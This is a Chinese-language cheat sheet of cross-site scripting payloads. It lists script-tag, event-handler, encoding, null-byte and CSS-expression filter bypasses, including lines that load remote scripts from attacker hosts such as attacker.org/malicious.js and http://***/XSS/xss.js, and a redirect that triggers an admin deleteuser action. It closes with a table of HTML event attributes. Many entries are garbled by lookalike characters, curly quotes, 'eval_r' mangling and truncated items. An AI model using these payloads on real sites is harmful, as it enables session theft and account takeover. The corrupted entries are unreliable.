PHP_SELF
利用方法
Script 标签
Script 标签可以用于定义一个行内的脚本或者从其他地方加载脚本:
<script>alert("XSS")</script>
<script src="http://attacker.org/malicious.js"></script>
Src属性
<img src=x οnerrοr=prompt(1);>
<img/src=aaa.jpg οnerrοr=prompt(1);>
<video src=x οnerrοr=prompt(1);>
<audio src=x οnerrοr=prompt(1);>
事件触发
<svg/οnlοad=prompt(1);>
<marquee/onstart=confirm(2)>/
<body οnlοad=prompt(1);>
a标签
<a href="javascript:alert('xss')">2</a> //可以去掉双引号
<a href=javascript:eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")>2</a> //不能去掉双引号
<a href=javascript:eval("alert('xss')")>2</a> //可以去掉双引号
原code:
<a href=javascript:eval("alert('xss')")>2</a>
<a href="javascript:aaa" οnmοuseοver="alert(/xss/)">22222222</a>
input 标签
<input value="" οnclick="alert(xss)" type="text">
<INPUT name="name" value="01/01/1967" οnmοuseοver=prompt(971874) bad="">
<INPUT name="name" value=""><script>alert(123)</script>
触发事件
<svg/οnlοad=prompt(1);>
<marquee/onstart=confirm(2)>/
<body οnlοad=prompt(1);>
<select autofocus οnfοcus=alert(1)>
<textarea autofocus οnfοcus=alert(1)>
<keygen autofocus οnfοcus=alert(1)>
利用0字节绕过
<scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t> //
在IE9及以下版本有效。
svg标签
当返回结果在svg标签中的时候,会有一个特性
<svg><script>varmyvar="YourInput";</script></svg>
background属性
<table background=javascript:alert(1)></table> // 在Opera 10.5和IE6上有效
poster属性
<video poster=javascript:alert(1)//></video> // Opera 10.5以下有效
data属性
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=" >
code属性
<embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
测试语句
<script>alert(navigator.userAgent)<script>
<script>alert(1)</script>
<script>confirm(1)</script>
<script>prompt(1)</script>
<script>\u0061\u006C\u0065\u0072\u0074(1)</script>
<script>+alert(1)</script>
<script>alert(/1/)</script>
<script src=data:text/javascript,alert(1)></script>
<script src=data:text/javascript,alert(1)></script>
<script>alert(String.fromCharCode(49,49))</script>
<script>alert(/1/.source)</script>
<script>setTimeout(alert(1),0)</script>
<script>document['write'](1);</script>
<anytag οnmοuseοver=alert(15)>M
<anytag οnclick=alert(16)>M
<a οnmοuseοver=alert(17)>M
<a οnclick=alert(18)>M
<a href=javascript:alert(19)>M
<button/οnclick=alert(20)>M
formaction=javascript:alert(21)>M
<form/action=javascript:alert(22)><input/type=submit>
<form οnsubmit=alert(23)><button>M
<form οnsubmit=alert(23)><button>M
<img src=x οnerrοr=alert(24)> 29
<body/οnlοad=alert(25)>
οnscrοll=alert(26)><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br><br>
<input autofocus>
<iframe/οnlοad=alert(document.domain)></iframe>
<IFRAME SRC="javascript:alert(29);"></IFRAME>
<meta http-equiv="refresh" content="0;
url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2830%29%3C%2%73%63%72%69%70%74%3E">
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+></object>
<object data="javascript:alert(document.domain)">
<marquee onstart=alert(30)></marquee>
<isindex type=image src=1 οnerrοr=alert(31)>
<isindex action=javascript:alert(32) type=image>
<input οnfοcus=alert(33) autofocus>
<input οnblur=alert(34) autofocus><input autofocus>
<ImG/sRc/OnErRoR=alert(document.domain)>
<img src="vbscript:msgbox(1)">
<script>alert('xss')</script>
<img src=x οnerrοr=alert(1)>
<img src =“javascript:alert(/xss/);">
<img src =“javascript:alert(/xss/);">
</style><img src=1 οnerrοr=alert(1)>
aaaaaaa%27*alert(1)*%27
"空格autofocus οnfοcus=alert`1`空格
"空格autofocus οnblur=alert`1`空格
"alert`666`"插入到图片后面
<script LANGUAGE="Javascript">
location.href="www.baidu.com";
</script>
(1)普通的XSS JavaScript注入
<SCRIPT SRC=http://***/XSS/xss.js></SCRIPT>
(2)IMG标签XSS使用JavaScript命令
<SCRIPT SRC=http://***/XSS/xss.js></SCRIPT>
(3)IMG标签无分号无引号
<IMG SRC=javascript:alert(‘XSS’)>
(4)IMG标签大小写不敏感
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
(5)HTML编码(必须有分号)
<IMG SRC=javascript:alert(“XSS”)>
(6)修正缺陷IMG标签
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
(7)formCharCode标签(计算器)
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
(8)UTF-8的Unicode编码(计算器)
<IMG SRC=jav..省略..S')>
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
<IMG SRC=jav..省略..S')>
(10)十六进制编码也是没有分号(计算器)
<IMG SRC=java..省略..XSS')>
(11)嵌入式标签,将Javascript分开
<IMG SRC=”jav ascript:alert(‘XSS’);”>
(12)嵌入式编码标签,将Javascript分开
<IMG SRC=”jav ascript:alert(‘XSS’);”>
(13)嵌入式换行符
<IMG SRC=”jav ascript:alert(‘XSS’);”>
(14)嵌入式回车
<IMG SRC=”jav ascript:alert(‘XSS’);”>
(15)嵌入式多行注入JavaScript,这是XSS极端的例子
<IMG SRC=”javascript:alert(‘XSS‘)”>
(16)解决限制字符(要求同页面)
<script>z=’document.’</script>
<script>z=z+’write(“‘</script>
<script>z=z+’<script’</script>
<script>z=z+’ src=ht’</script>
<script>z=z+’tp://ww’</script>
<script>z=z+’w.shell’</script>
<script>z=z+’.net/1.’</script>
<script>z=z+’js></sc’</script>
<script>z=z+’ript>”)’</script>
<script>eval_r(z)</script>
(17)空字符
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
(19)Spaces和meta前的IMG标签
<IMG SRC=” javascript:alert(‘XSS’);”>
(20)Non-alpha-non-digit XSS
<SCRIPT/XSS SRC=”http://***/XSS/xss.js”></SCRIPT>
(21)Non-alpha-non-digit XSS to 2
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
(22)Non-alpha-non-digit XSS to 3
<SCRIPT/SRC=”http://***/XSS/xss.js”></SCRIPT>
(23)双开括号
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
(24)无结束脚本标记(仅火狐等浏览器)
<SCRIPT SRC=http://***/XSS/xss.js?<B>
(25)无结束脚本标记2
<SCRIPT SRC=//***/XSS/xss.js>
(26)半开的HTML/JavaScript XSS
<IMG SRC=”javascript:alert(‘XSS’)”
(27)双开角括号
<iframe src=http://***/XSS.html <
(28)无单引号 双引号 分号
<SCRIPT>a=/XSS/
alert(a.source)</SCRIPT>
(29)换码过滤的JavaScript
\”;alert(‘XSS’);//
(30)结束Title标签
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
(31)Input Image
<INPUT SRC=”javascript:alert(‘XSS’);”>
(32)BODY Image
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
(33)BODY标签
<BODY(‘XSS’)>
(34)IMG Dynsrc
<IMG DYNSRC=”javascript:alert(‘XSS’)”>
(35)IMG Lowsrc
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
(36)BGSOUND
<BGSOUND SRC=”javascript:alert(‘XSS’);”>
(37)STYLE sheet
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
(38)远程样式表
<LINK REL=”stylesheet” HREF=”http://***/xss.css”>
(39)List-style-image(列表式)
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
(40)IMG VBscript
<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS
(41)META链接url
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
(42)Iframe
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
(43)Frame
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>
(44)Table
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
(45)TD
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
(46)DIV background-image
<DIV STYLE=”background-image: none)”>
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
<DIV STYLE=”background-image: none)”>
(48)DIV expression
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
(49)STYLE属性分拆表达
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
(50)匿名STYLE(组成:开角号和一个字母开头)
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
(51)STYLE background-image
<STYLE>.XSS{background-image:none”);}</STYLE><A class="XSS"></A>
(52)IMG STYLE方式
exppression(alert(“XSS”))’>
(53)STYLE background
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
(54)BASE
<BASE HREF=”javascript:alert(‘XSS’);//”>
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
<EMBED SRC=”http://***/XSS/xss.swf” ></EMBED>
(56)在flash中使用ActionScrpt可以混进你XSS的代码
a=”get”;
b=”URL(\”";
c=”javascript:”;
d=”alert(‘XSS’);\”)”;
eval_r(a+b+c+d);
(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
<HTML xmlns:xss>
<?import namespace=”xss” implementation=”http://***/XSS/xss.htc”>
<xss:xss>XSS</xss:xss>
</HTML>
(58)如果过滤了你的JS你可以在图片里添加JS代码来利用
<SCRIPT SRC=””></SCRIPT>
(59)IMG嵌入式命令,可执行任意命令
<IMG SRC=”http://www.XXX.com/a.php?a=b”>
(60)IMG嵌入式命令(a.jpg在同服务器)
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
(61)绕符号过滤
<SCRIPT a=”>” SRC=”http://***/xss.js”></SCRIPT>
(62)
<SCRIPT =”>” SRC=”http://***/xss.js”></SCRIPT>
(63)
<SCRIPT a=”>” ” SRC=”http://***/xss.js”></SCRIPT>
(64)
<SCRIPT “a=’>’” SRC=”http://***/xss.js”></SCRIPT>
(65)
<SCRIPT a=`>` SRC=”http://***/xss.js”></SCRIPT>
(66)
<SCRIPT a=”>’>” SRC=”http://***/xss.js”></SCRIPT>
(67)
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://***/xss.js”></SCRIPT>
(68)URL绕行
<A HREF=”http://127.0.0.1/”>XSS</A>
(69)URL编码
<A HREF=”http://***”>XSS</A>
(70)IP十进制
<A HREF=”http://3232235521″>XSS</A>
(71)IP十六进制
<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>
(72)IP八进制
<A HREF=”http://0300.0250.0000.0001″>XSS</A>
(73)混合编码
<A HREF=”h
tt p://6 6.000146.0×7.147/”">XSS</A>
(74)节省[http:]
<A HREF=”//www.google.com/”>XSS</A>
(75)节省[www]
<A HREF=”http://google.com/”>XSS</A>
(76)绝对点绝对DNS
<A HREF=”http://www.google.com./”>XSS</A>
(77)javascript链接
<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>
注:html中标签可以添加连接的属性,或者是标签的事件,都可以进行xss利用
HTML 事件属性
全局事件属性
HTML 4 的新特性之一是可以使 HTML 事件触发浏览器中的行为,比方说当用户点击某个 HTML 元素时启动一段 JavaScript。
如果你想学习更多关于事件属性,请访问 JavaScript 教程
下面的表格提供了标准的事件属性,可以把它们插入 HTML/XHTML 元素中,以定义事件行为。
New : HTML5新增属性事件。
窗口事件属性(Window Event Attributes)
由窗口触发该事件 (适用于 <body> 标签):
属性 | 值 | 描述 |
---|---|---|
onafterprintNew | script | 在打印文档之后运行脚本 |
onbeforeprintNew | script | 在文档打印之前运行脚本 |
onbeforeonloadNew | script | 在文档加载之前运行脚本 |
onblur | script | 当窗口失去焦点时运行脚本 |
onerrorNew | script | 当错误发生时运行脚本 |
onfocus | script | 当窗口获得焦点时运行脚本 |
onhashchangeNew | script | 当文档改变时运行脚本 |
onload | script | 当文档加载时运行脚本 |
onmessageNew | script | 当触发消息时运行脚本 |
onofflineNew | script | 当文档离线时运行脚本 |
ononlineNew | script | 当文档上线时运行脚本 |
onpagehideNew | script | 当窗口隐藏时运行脚本 |
onpageshowNew | script | 当窗口可见时运行脚本 |
onpopstateNew | script | 当窗口历史记录改变时运行脚本 |
onredoNew | script | 当文档执行再执行操作(redo)时运行脚本 |
onresizeNew | script | 当调整窗口大小时运行脚本 |
onstorageNew | script | 当 Web Storage 区域更新时(存储空间中的数据发生变化时)运行脚本 |
onundoNew | script | 当文档执行撤销时运行脚本 |
onunloadNew | script | 当用户离开文档时运行脚本 |
表单事件(Form Events)
表单事件在HTML表单中触发 (适用于所有 HTML 元素, 但该HTML元素需在form表单内):
属性 | 值 | 描述 |
---|---|---|
onblur | script | 当元素失去焦点时运行脚本 |
onchange | script | 当元素改变时运行脚本 |
oncontextmenuNew | script | 当触发上下文菜单时运行脚本 |
onfocus | script | 当元素获得焦点时运行脚本 |
onformchangeNew | script | 当表单改变时运行脚本 |
onforminputNew | script | 当表单获得用户输入时运行脚本 |
oninputNew | script | 当元素获得用户输入时运行脚本 |
oninvalidNew | script | 当元素无效时运行脚本 |
onreset | script | 当表单重置时运行脚本。HTML 5 不支持。 |
onselect | script | 当选取元素时运行脚本 |
onsubmit | script | 当提交表单时运行脚本 |
键盘事件(Keyboard Events)
属性 | 值 | 描述 |
---|---|---|
onkeydown | script | 当按下按键时运行脚本 |
onkeypress | script | 当按下并松开按键时运行脚本 |
onkeyup | script | 当松开按键时运行脚本 |
鼠标事件(Mouse Events)
通过鼠标触发事件, 类似用户的行为:
属性 | 值 | 描述 |
---|---|---|
onclick | script | 当单击鼠标时运行脚本 |
ondblclick | script | 当双击鼠标时运行脚本 |
ondragNew | script | 当拖动元素时运行脚本 |
ondragendNew | script | 当拖动操作结束时运行脚本 |
ondragenterNew | script | 当元素被拖动至有效的拖放目标时运行脚本 |
ondragleaveNew | script | 当元素离开有效拖放目标时运行脚本 |
ondragoverNew | script | 当元素被拖动至有效拖放目标上方时运行脚本 |
ondragstartNew | script | 当拖动操作开始时运行脚本 |
ondropNew | script | 当被拖动元素正在被拖放时运行脚本 |
onmousedown | script | 当按下鼠标按钮时运行脚本 |
onmousemove | script | 当鼠标指针移动时运行脚本 |
onmouseout | script | 当鼠标指针移出元素时运行脚本 |
onmouseover | script | 当鼠标指针移至元素之上时运行脚本 |
onmouseup | script | 当松开鼠标按钮时运行脚本 |
onmousewheelNew | script | 当转动鼠标滚轮时运行脚本 |
onscrollNew | script | 当滚动元素的滚动条时运行脚本 |
多媒体事件(Media Events)
通过视频(videos),图像(images)或者音频(audio) 触发该事件,多应用于 HTML 媒体元素比如 <audio>, <embed>, <img>, <object>, 和<video>:
属性 | 值 | 描述 |
---|---|---|
onabort | script | 当发生中止事件时运行脚本 |
oncanplayNew | script | 当媒介能够开始播放但可能因缓冲而需要停止时运行脚本 |
oncanplaythroughNew | script | 当媒介能够无需因缓冲而停止即可播放至结尾时运行脚本 |
ondurationchangeNew | script | 当媒介长度改变时运行脚本 |
onemptiedNew | script | 当媒介资源元素突然为空时(网络错误、加载错误等)运行脚本 |
onendedNew | script | 当媒介已抵达结尾时运行脚本 |
onerrorNew | script | 当在元素加载期间发生错误时运行脚本 |
onloadeddataNew | script | 当加载媒介数据时运行脚本 |
onloadedmetadataNew | script | 当媒介元素的持续时间以及其他媒介数据已加载时运行脚本 |
onloadstartNew | script | 当浏览器开始加载媒介数据时运行脚本 |
onpauseNew | script | 当媒介数据暂停时运行脚本 |
onplayNew | script | 当媒介数据将要开始播放时运行脚本 |
onplayingNew | script | 当媒介数据已开始播放时运行脚本 |
onprogressNew | script | 当浏览器正在取媒介数据时运行脚本 |
onratechangeNew | script | 当媒介数据的播放速率改变时运行脚本 |
onreadystatechangeNew | script | 当就绪状态(ready-state)改变时运行脚本 |
onseekedNew | script | 当媒介元素的定位属性 [1] 不再为真且定位已结束时运行脚本 |
onseekingNew | script | 当媒介元素的定位属性为真且定位已开始时运行脚本 |
onstalledNew | script | 当取回媒介数据过程中(延迟)存在错误时运行脚本 |
onsuspendNew | script | 当浏览器已在取媒介数据但在取回整个媒介文件之前停止时运行脚本 |
ontimeupdateNew | script | 当媒介改变其播放位置时运行脚本 |
onvolumechangeNew | script | 当媒介改变音量亦或当音量被设置为静音时运行脚本 |
onwaitingNew | script | 当媒介已停止播放但打算继续播放时运行脚本 |
其他事件
属性 | 值 | 描述 |
---|---|---|
onshowNew | script | 当 <menu> 元素在上下文显示时触发 |
ontoggleNew | script | 当用户打开或关闭 <details> 元素时触发 |